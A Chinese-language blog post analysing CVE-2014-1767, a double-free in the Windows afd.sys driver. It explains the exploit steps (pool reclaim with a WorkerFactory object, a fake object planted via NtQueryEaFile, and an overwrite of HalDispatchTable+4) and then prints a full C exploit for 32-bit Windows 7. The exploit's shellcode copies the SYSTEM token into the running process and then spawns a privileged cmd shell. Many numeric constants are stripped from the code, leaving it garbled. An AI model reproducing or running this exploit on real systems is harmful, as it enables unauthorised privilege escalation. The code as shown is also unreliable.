CVE-2014-1767利用分析

参考这篇文章利用思路,重现利用,主要说明自己在实现的时候遇到的坑。

利用思路

1. 第一次 IoControl,释放 MDL,我们通过 VirtualAddress 和 Length 设置此时被释放 的 MDL 内存大小为 0xA0。

2. NtCreateWorkerFactory 申请新的 WorkerFactoy 对象,占据【1】中被释放掉的内 存。

3. 第二次 IoControl,double free会释放掉刚刚申请的 WorkerFactoy 对象。

4. NtQueryEaFile 把我们精心设置的内容,填充到刚被释放掉的 WorkerFactory 对象内存空间(UAF)。

5. NtSetInformationWorkerFactory 操作我们的 fake object,达到修改 HalDispatchTable+4 内容为 shellcode(功能是使用系统token覆盖当前进行token)。

6. 用户层调用 NtQueryIntervalProfile,触发内核执行 shellcode。

7. 当前进行已经是管理员权限了,创建的子进程也具有相同的权限,提权完成。

一些坑和解释

1. 将初始化的操作都放在第一次IoControl之前,使【1】和【2】的时间间隔最小,这样占位成功的机会最大,但仍有占位不成功的时候,原因未知。

2. 所构造的fake WorkerFactory object 数据如下:

object header和object body是需要我们来布置的。

object header来自一个创建的object的部分。

object body部分其实就两个位置+00h和+10h,为了最后NtSetInformationWorkerFactory函数中的这条语句:*(*(*object+0x10)+0x1C) = *arg3,使左边的语句为HalDispatchTable+4。

其他置于0就可以了。

3. 分配的内存数据:

4. NtQueryEaFile的参数EaListLength必须为0x98,因为这样才可以保证【4】的正常执行。

5. NtSetInformationWorkerFactory函数的每一个参数都非常重要,不可以设置为其他的值,这都是跟踪得到能够到达目标代码的参数结果。6. NtQueryIntervalProfile的第一个参数也十分重要,等于2的时候才会走向调用HalDispatchTable+4的流程中去。

7.Shellcode中,提权结束后会做一些善后处理,将hWorkerFactory在HandleTableEntry的入口设置为NULL,不然提权进程结束后会蓝屏。因为我们已经破坏掉hWorkerFactory所对应的内核结构了,系统会对其进行清理操作的时候就会出问题。

遗留问题:HalDispatchTable+4的恢复问题,暂时不知道怎么读取其对应函数的地址。不过这个函数调用不是特别频繁,还是可以清楚的看到结果。

exp代码如下:

  1. //CVE-2014-1767 exp for win7 32bit
  2. //by 会飞的猫 2015.2.4
  3. //complied with VS2013
  4. #include <windows.h>
  5. #include <stdio.h>
  6. #pragma comment(lib, "WS2_32.lib")
  7.  
  8. #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
  9. typedef LPVOID PEPROCESS;
  10.  
  11. typedef NTSTATUS(__stdcall *_NtCreateWorkerFactory)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T);
  12. typedef NTSTATUS(__stdcall *_NtQueryEaFile)(HANDLE, PVOID, PVOID, ULONG, BOOLEAN, PVOID, ULONG, PULONG, BOOLEAN);
  13. typedef NTSTATUS(__stdcall *_ZwAllocateVirtualMemory)(HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG);
  14. typedef NTSTATUS(__stdcall *_NtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
  15. typedef NTSTATUS(__stdcall *_NtSetInformationWorkerFactory)(HANDLE, ULONG, PVOID, ULONG);
  16. typedef NTSTATUS(__stdcall *_NtQueryIntervalProfile)(DWORD,PULONG);
  17. typedef NTSTATUS(__stdcall *_PsLookupProcessByProcessId)(DWORD, LPVOID *);
  18. typedef NTSTATUS(__stdcall *_NtQueryInformationWorkerFactory)(HANDLE, LONG, PVOID, ULONG, PULONG);
  19.  
  20. typedef struct _IO_STATUS_BLOCK {
  21. union {
  22. NTSTATUS Status;
  23. PVOID Pointer;
  24. };
  25. ULONG_PTR Information;
  26. } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
  27.  
  28. typedef struct _RTL_PROCESS_MODULE_INFORMATION {
  29. HANDLE Section; // Not filled in
  30. PVOID MappedBase;
  31. PVOID ImageBase;
  32. ULONG ImageSize;
  33. ULONG Flags;
  34. USHORT LoadOrderIndex;
  35. USHORT InitOrderIndex;
  36. USHORT LoadCount;
  37. USHORT OffsetToFileName;
  38. UCHAR FullPathName[];
  39. } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
  40.  
  41. typedef struct _RTL_PROCESS_MODULES {
  42. ULONG NumberOfModules;
  43. RTL_PROCESS_MODULE_INFORMATION Modules[];
  44. } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
  45.  
  46. _NtCreateWorkerFactory NtCreateWorkerFactory;
  47. _NtQueryEaFile NtQueryEaFile;
  48. _ZwAllocateVirtualMemory ZwAllocateVirtualMemory;
  49. _NtQuerySystemInformation NtQuerySystemInformation;
  50. _NtSetInformationWorkerFactory NtSetInformationWorkerFactory;
  51. _NtQueryIntervalProfile NtQueryIntervalProfile;
  52. _PsLookupProcessByProcessId PsLookupProcessByProcessId;
  53. _NtQueryInformationWorkerFactory NtQueryInformationWorkerFactory;
  54.  
  55. HANDLE hWorkerFactory;
  56. LPVOID AllocAddr = (LPVOID)0x20000000;
  57. ULONG uHalDispatchTable = ;
  58. HMODULE ntoskrnl;
  59. ULONG ntoskrnlBase;
  60. PVOID pHaliQuerySystemInformation=NULL;
  61.  
  62. int GetNtdllFuncAddr()
  63. {
  64. HMODULE ntdll = GetModuleHandle("ntdll.dll");
  65.  
  66. NtCreateWorkerFactory = (_NtCreateWorkerFactory)(GetProcAddress(ntdll, "NtCreateWorkerFactory"));
  67. if (NtCreateWorkerFactory == NULL)
  68. {
  69. printf("Get NtCreateWorkerFactory Address Error:%d", GetLastError());
  70. CloseHandle(ntdll);
  71. return -;
  72. }
  73.  
  74. //NtQueryEaFile
  75. NtQueryEaFile = (_NtQueryEaFile)GetProcAddress(ntdll, "NtQueryEaFile");
  76. if (NtQueryEaFile == NULL)
  77. {
  78. printf("Get NtQueryEaFile Address Error:%d", GetLastError());
  79. return -;
  80. }
  81. //ZwAllocateVirtualMemory
  82. ZwAllocateVirtualMemory = (_ZwAllocateVirtualMemory)GetProcAddress(ntdll, "ZwAllocateVirtualMemory");
  83. //NtQuerySystemInformation
  84. NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
  85. if (NtQuerySystemInformation == NULL)
  86. {
  87. printf("Get NtQuerySystemInformation Address Error:%d", GetLastError());
  88. return -;
  89. }
  90. //NtSetInformationWorkerFactory
  91. NtSetInformationWorkerFactory = (_NtSetInformationWorkerFactory)(GetProcAddress(ntdll, "NtSetInformationWorkerFactory"));
  92. if (NtSetInformationWorkerFactory == NULL)
  93. {
  94. printf("Get NtSetInformationWorkerFactory Address Error:%d", GetLastError());
  95. return -;
  96. }
  97. //_NtQueryIntervalProfile
  98. NtQueryIntervalProfile = (_NtQueryIntervalProfile)(GetProcAddress(ntdll, "NtQueryIntervalProfile"));
  99. if (NtQueryIntervalProfile == NULL)
  100. {
  101. printf("Get NtQueryIntervalProfile Address Error:%d", GetLastError());
  102. return -;
  103. }
  104. //get uHalDispatchTable
  105. RTL_PROCESS_MODULES module;
  106. memset(&module, , sizeof(RTL_PROCESS_MODULES));
  107. NTSTATUS status = NtQuerySystemInformation(, &module, sizeof(RTL_PROCESS_MODULES), NULL);
  108. if (status != 0xC0000004) //STATUS_INFO_LENGTH_MISMATCH
  109. {
  110. printf("Get module Address Error:%d", GetLastError());
  111. return -;
  112. }
  113. ntoskrnlBase = (ULONG)module.Modules[].ImageBase;
  114. ntoskrnl = LoadLibrary((LPCSTR)(module.Modules[].FullPathName + module.Modules[].OffsetToFileName));
  115. if (ntoskrnl == NULL)
  116. {
  117. printf("LoadLibrary ntoskrnl.exe fail!\n");
  118. return -;
  119. }
  120. uHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl, "HalDispatchTable") - (ULONG)ntoskrnl + ntoskrnlBase;
  121. if (uHalDispatchTable == )
  122. {
  123. printf("Get HalDispatchTable Error:%d\n", GetLastError());
  124. return -;
  125. }
  126. //printf("HalDispatchTable Address:0x%x!\n", uHalDispatchTable);
  127.  
  128. //PsLookupProcessByProcessId
  129. PsLookupProcessByProcessId = (_PsLookupProcessByProcessId)((ULONG)GetProcAddress(ntoskrnl, "PsLookupProcessByProcessId") - (ULONG)ntoskrnl + ntoskrnlBase);
  130. if (PsLookupProcessByProcessId == NULL)
  131. {
  132. printf("Get PsLookupProcessByProcessId Address Error:%d", GetLastError());
  133. return -;
  134. }
  135. CloseHandle(ntdll);
  136. return ;
  137. }
  138. /*int CreateWorkerFactory()
  139. {
  140. HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4);
  141.  
  142. DWORD Exploit;
  143. NTSTATUS status = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, &Exploit, NULL, 0, 0, 0);
  144. if (!NT_SUCCESS(status))
  145. {
  146. printf("NtCreateWorkerFactory fail!Error:%d\n", GetLastError());
  147. return -1;
  148. }
  149. return 0;
  150. }*/
  151. int MyNtQueryEaFile()
  152. {
  153. NTSTATUS status;
  154. IO_STATUS_BLOCK StatusBlock;
  155.  
  156. status = NtQueryEaFile(NULL, (PIO_STATUS_BLOCK)&StatusBlock, NULL, NULL, FALSE, AllocAddr, 0x98, NULL, TRUE);
  157. return ;
  158. }
  159. //shellcode代码
  160. void shellcode()
  161. {
  162. PEPROCESS pCur, pSys;
  163. DWORD dwSystemProcessId = ;
  164. DWORD dwCurProcessId = GetCurrentProcessId();
  165. PsLookupProcessByProcessId(dwCurProcessId, &pCur);
  166. PsLookupProcessByProcessId(dwSystemProcessId, &pSys);
  167. //replace current process`s token with system token
  168. *(PVOID *)((DWORD)pCur + 0xf8) = *(PVOID *)((DWORD)pSys + 0xf8);
  169. //set our handle`s HandleTableEntry with NULL to avoid bugcheck
  170. PULONG ObjectTable = *(PULONG *)((ULONG)pCur + 0x0f4);
  171. PULONG HandleTableEntry = (PULONG)(*(ULONG*)(ObjectTable)+ * ((ULONG)hWorkerFactory & 0xFFFFFFFC));
  172. *HandleTableEntry = NULL;
  173. //dec handle reference by 1
  174. *(ObjectTable + 0x30) -= ;
  175. //restore HalDispatchTable+4 to avoid bugcheck
  176. //*(DWORD*)(uHalDispatchTable + 4) = (DWORD)pHaliQuerySystemInformation;
  177. }
  178. int MyNtSetInformationWorkerFactory()
  179. {
  180. DWORD* tem = (DWORD*)malloc(0x20);
  181. memset(tem, 'A', 0x20);
  182. tem[] = (DWORD)shellcode;
  183.  
  184. NTSTATUS status = NtSetInformationWorkerFactory(hWorkerFactory, 0x8, tem, 0x4);
  185. return ;
  186. }
  187. void CreatNewCmd()
  188. {
  189. STARTUPINFO StartupInfo;
  190. PROCESS_INFORMATION ProcessInfo;
  191.  
  192. memset(&StartupInfo, , sizeof(StartupInfo));
  193. memset(&ProcessInfo, , sizeof(ProcessInfo));
  194.  
  195. StartupInfo.cb = sizeof(STARTUPINFO);
  196. StartupInfo.wShowWindow = ;
  197. StartupInfo.dwFlags = ;
  198. CreateProcess(, "cmd", , , , CREATE_NEW_CONSOLE, , , &StartupInfo, &ProcessInfo);
  199. WaitForSingleObject(ProcessInfo.hProcess, );
  200. CloseHandle(ProcessInfo.hProcess);
  201. CloseHandle(ProcessInfo.hThread);
  202. }
  203. void GetHaliQuerySystemInformation()
  204. {
  205. static BYTE kernelRetMem[0x60];
  206. memset(kernelRetMem, , sizeof(kernelRetMem));
  207.  
  208. NtQueryInformationWorkerFactory(hWorkerFactory,
  209. ,
  210. kernelRetMem,
  211. 0x60,
  212. NULL);
  213.  
  214. pHaliQuerySystemInformation = *(PVOID *)(kernelRetMem + 0x50);
  215. printf("uHaliQuerySystemInformation: %p\n", pHaliQuerySystemInformation);
  216. return;
  217. }
  218. int main()
  219. {
  220. printf("----------------------------------------\n");
  221. printf("****CVE-2014-1767 exp for win7 32bit****\n");
  222. printf("****by flycat 2015.2.4****\n");
  223. printf("----------------------------------------\n");
  224. printf("\n\n\n\n");
  225. DWORD targetSize = 0xA0;
  226. DWORD virtualAddress = 0x13371337;
  227. DWORD Length = ((targetSize - 0x1C) / - (virtualAddress % ? : )) * 0x1000;
  228.  
  229. static DWORD inbuf1[];
  230. memset(inbuf1, , sizeof(inbuf1));
  231. inbuf1[] = virtualAddress;
  232. inbuf1[] = Length;
  233.  
  234. static DWORD inbuf2[];
  235. memset(inbuf2, , sizeof(inbuf2));
  236. inbuf2[] = ;
  237. inbuf2[] = 0x0AAAAAAA;
  238.  
  239. WSADATA WSAData;
  240. SOCKET s;
  241. sockaddr_in sa;
  242. int ier;
  243.  
  244. WSAStartup(0x2, &WSAData);
  245. s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  246. memset(&sa, , sizeof(sa));
  247. sa.sin_port = htons();
  248. sa.sin_addr.S_un.S_addr = inet_addr("127.0.1");
  249. sa.sin_family = AF_INET;
  250. ier = connect(s, (const struct sockaddr *)&sa, sizeof(sa));
  251.  
  252. static char outBuf[];
  253. DWORD bytesRet;
  254.  
  255. int nRet = ;
  256. //get some kernel function addresses
  257. nRet = GetNtdllFuncAddr();
  258. if (nRet != )
  259. {
  260. return -;
  261. }
  262. //allocate memory and set some data
  263. DWORD uRegionSize = 0x200;
  264. NTSTATUS status = ZwAllocateVirtualMemory(GetCurrentProcess(),
  265. &AllocAddr, , &uRegionSize,
  266. MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,
  267. PAGE_EXECUTE_READWRITE);
  268. if (!NT_SUCCESS(status))
  269. {
  270. printf("Allocate Mem Failed :%d\n", GetLastError());
  271. return -;
  272. }
  273.  
  274. memset(AllocAddr, , 0x200);
  275. __asm
  276. {
  277. pushad
  278. mov eax, AllocAddr
  279. mov dword ptr[eax + ], 0xa8
  280. mov dword ptr[eax + 10h],
  281. mov dword ptr[eax + 14h],
  282. mov dword ptr[eax + 1ch], 80016h
  283. mov dword ptr[eax + 28h], 20000028h
  284. mov ebx, uHalDispatchTable
  285. sub ebx, 18h
  286. mov dword ptr[eax + 38h], ebx
  287. popad
  288. }
  289. //wait 2 second
  290. ::Sleep();
  291. //first IoControl
  292. DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, outBuf, , &bytesRet, NULL);
  293. //Create a Workerfactory object to occupy the free Mdl pool
  294. HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, , );
  295. DWORD Exploit;
  296. status = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-, &Exploit, NULL, , , );
  297. if (!NT_SUCCESS(status))
  298. {
  299. printf("NtCreateWorkerFactory fail!Error:%d\n", GetLastError());
  300. return -;
  301. }
  302. //try to read HaliQuerySystemInformation address but failed
  303. //GetHaliQuerySystemInformation();
  304.  
  305. //second IoControl
  306. //free the Workerfactory object we create just now
  307. DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, outBuf, , &bytesRet, NULL);
  308. //NtQueryEaFile will allocate a pool with the same size of Workerfactory object,and
  309. //memcpy our data to the Workerfactory object,mainly change Workerfactory object+0x10 to
  310. //HalDispatchTable+4
  311. MyNtQueryEaFile();
  312. //change HalDispatchTable+4 to our shellcode address
  313. MyNtSetInformationWorkerFactory();
  314. //Trigger from user mode
  315. ULONG temp = ;
  316. status = NtQueryIntervalProfile(, &temp);
  317. if (!NT_SUCCESS(status))
  318. {
  319. printf("NtQueryIntervalProfile fail!Error:%d\n", GetLastError());
  320. return -;
  321. }
  322. printf("done!\n");
  323. //Sleep(000);
  324. //Create a new cmd process with current token
  325. printf("Creating a new cmd...\n");
  326. CreatNewCmd();
  327. return ;
  328. }

by:会飞的猫
转载请注明:http://www.cnblogs.com/flycat-2016

CVE-2014-1767 利用分析(2015.2)的更多相关文章

  1. CVE-2015-0057 POC构造 & 利用分析(2015.7)

    CVE-2015-0057 POC构造 & 利用分析 主要内容: 构造POC 利用思路 0x00 初探 从这篇文章可以获知: 1.问题出在 win32k!xxxEnableWndSBArrow ...

  2. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  3. CVE-2013-2551漏洞成因与利用分析(ISCC2014 PWN6)

    CVE-2013-2551漏洞成因与利用分析 1. 简介 VUPEN在Pwn2Own2013上利用此漏洞攻破了Win8+IE10,5月22日VUPEN在其博客上公布了漏洞的细节.它是一个ORG数组整数 ...

  4. Lib之过?Java反序列化漏洞通用利用分析

    转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...

  5. CVE-2015-3864漏洞利用分析(exploit_from_google)

    title: CVE-2015-3864漏洞利用分析(exploit_from_google) author: hac425 tags: CVE-2015-3864 文件格式漏洞 categories ...

  6. CVE-2014-0322漏洞成因与利用分析

    CVE-2014-0322漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存,对指定内存处的值进行了加1.其特点在于攻击者结合flash实现了 ...

  7. CVE-2013-3897漏洞成因与利用分析

    CVE-2013-3897漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存.攻击者可以利用此类漏洞实现远程代码执行.UAF漏洞的根源源于对对 ...

  8. CVE-2014-1767 漏洞分析(2015.1)

    CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...

  9. MyEclipse 2014 GA 和 MyEclipse 2015 CI 和 Eclipse Luna 最新最全下载地址

    官方下载地址: Eclipse 标准版 x86 http://mirror.hust.edu.cn/eclipse//technology/epp/downloads/release/luna/R/e ...

随机推荐

  1. 提高Java代码质量的Eclipse插件之Checkstyle的使用详解

    提高Java代码质量的Eclipse插件之Checkstyle的使用详解 CheckStyle是SourceForge下的一个项目,提供了一个帮助JAVA开发人员遵守某些编码规范的工具.它能够自动化代 ...

  2. mybatis逆向工程生成代码

    1 什么是逆向工程 mybaits需要程序员自己编写sql语句,mybatis官方提供逆向工程 可以针对单表自动生成mybatis执行所需要的代码(mapper.java,mapper.xml.po. ...

  3. linux 消息队列例子

    /author:DriverMonkey //phone:13410905075 //mail:bookworepeng@Hotmail.com //qq:196568501 #include < ...

  4. [置顶] 让我爱恨的ThinkPHP Relation

    还记得第一次用ThinkPHP的relation,做了一个关联查询,觉得特别好用.有那么一天尝试着用关联插入,怎么插,都插不进,我插,我擦! 后来在龙哥的指点下算是成功的实践了一次,后来怎么用都不顺, ...

  5. android:minSdkVersion 之我见

    在 新建一个 android project 时,要求输入 minSdkVersion 这一项,一般我们是指定和我们使用的 SDK 版本相一致的 API Level. 然后,在androidManif ...

  6. 利用GeneratedKeyHolder获得新增数据主键值

    Spring利用GeneratedKeyHolder,提供了一个可以返回新增记录所对应的主键值的方法: int update(PreparedStatementCreator psc, KeyHold ...

  7. ASP.NET Zero--11.一个例子(4)商品分类管理-数据检验

    虽然已经可以添加商品分类,但还需进行优化,比如:用户是否输入.输入字符串是否有格式限制等等. 打开添加分类按钮,名称不输入任何字符,直接保存,会发现列表添加一条空记录.在实际项目中,这是不允许出现的事 ...

  8. 捕获input 文本框内容改变的事件(onchange,onblur,onPropertyChange比较)

    input 文本框内容改变,可以使用onchange或者onblur来判断,但onchange是在文本内容改变,然后失去焦点的时发生,onblur是在失去焦点时发生,不会自己去判断. 如: <i ...

  9. hdu1037

    #include <iostream> #include <cstdio> using namespace std; int main() { int a,b,c; while ...

  10. 第11章:DOM扩展